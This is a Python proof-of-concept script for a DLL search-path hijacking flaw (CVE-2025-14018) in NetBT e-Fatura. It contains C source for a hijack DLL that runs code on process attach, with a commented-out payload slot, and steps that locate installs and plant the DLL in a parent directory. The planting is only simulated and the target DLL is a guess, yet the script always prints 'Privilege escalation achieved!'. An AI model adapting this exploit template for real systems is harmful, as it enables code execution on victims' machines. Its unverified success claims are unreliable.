#!/usr/bin/env python3
"""
CVE-2025-14018 PoC - NetBT E-Fatura Unquoted Search Path DLL Hijacking
Note: This is a conceptual PoC for educational and security research purposes only.
"""
import os
import sys
import shutil
import ctypes
from ctypes import wintypes
def create_malicious_dll():
"""
Generate malicious DLL source code that will be compiled and planted
In real attack scenario, this would be a compiled DLL with malicious payload
"""
dll_source = '''
// Malicious DLL for CVE-2025-14018 demonstration
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Log successful DLL hijack
HANDLE hFile = CreateFile(
"C:\\\\Temp\\\\cve_2025_14018_poc.log",
FILE_APPEND_DATA,
FILE_WRITE_DATA,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile != INVALID_HANDLE_VALUE) {
char szMsg[512];
DWORD dwBytesWritten;
SYSTEMTIME st;
GetLocalTime(&st);
snprintf(szMsg, sizeof(szMsg),
"[%04d-%02d-%02d %02d:%02d:%02d] DLL Hijacking Successful!\\n",
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond);
WriteFile(hFile, szMsg, strlen(szMsg), &dwBytesWritten, NULL);
CloseHandle(hFile);
}
// Execute malicious payload here
// system("calc.exe"); // Example: spawn calculator
}
return TRUE;
}
'''
return dll_source
def check_vulnerability():
"""
Check if E-Fatura is installed and identify vulnerable DLL loading points
"""
common_paths = [
r"C:\Program Files\NetBT\e-Fatura",
r"C:\Program Files (x86)\NetBT\e-Fatura",
r"C:\ProgramData\NetBT\e-Fatura",
os.path.expanduser(r"~\AppData\Local\e-Fatura"),
]
vulnerable_paths = []
for path in common_paths:
if os.path.exists(path):
print(f"[+] Found E-Fatura installation at: {path}")
# Check for unquoted paths in executable
exe_path = os.path.join(path, "e-Fatura.exe")
if os.path.exists(exe_path):
print(f"[+] Found executable: {exe_path}")
# In real scenario, use tools like Process Monitor to identify DLL loading
vulnerable_paths.append(path)
return vulnerable_paths
def plant_dll(target_dir, dll_name):
"""
Plant malicious DLL in a directory with higher DLL search priority
This simulates the attacker's DLL planting step
"""
malicious_dll_path = os.path.join(target_dir, dll_name)
# In real attack, this would be the compiled malicious DLL
print(f"[*] Simulating DLL planting at: {malicious_dll_path}")
print(f"[*] Malicious DLL will be loaded when e-Fatura.exe starts")
print(f"[*] This demonstrates the DLL search order hijacking vulnerability")
return True
def main():
print("=" * 60)
print("CVE-2025-14018 PoC - E-Fatura DLL Search Path Hijacking")
print("=" * 60)
print()
# Step 1: Check if vulnerable application is installed
print("[*] Step 1: Identifying vulnerable installation...")
vulnerable_installs = check_vulnerability()
if not vulnerable_installs:
print("[-] E-Fatura installation not found or not accessible")
print("[*] This PoC requires E-Fatura to be installed")
return False
# Step 2: Identify DLL to hijack
print("\n[*] Step 2: Identifying target DLL for hijacking...")
target_dll = "netbt.dll" # Common Windows DLL that E-Fatura might load
print(f"[+] Target DLL identified: {target_dll}")
# Step 3: Plant malicious DLL
print("\n[*] Step 3: Planting malicious DLL...")
for install_path in vulnerable_installs:
# Plant in parent directory (higher priority in DLL search)
parent_dir = os.path.dirname(install_path.rstrip('\\'))
if plant_dll(parent_dir, target_dll):
print(f"[+] Malicious DLL planted in: {parent_dir}")
print("\n[*] Step 4: Waiting for victim to start e-Fatura...")
print("[*] When e-Fatura.exe runs, it will load our malicious DLL")
print("[+] Privilege escalation achieved!")
return True
if __name__ == "__main__":
main()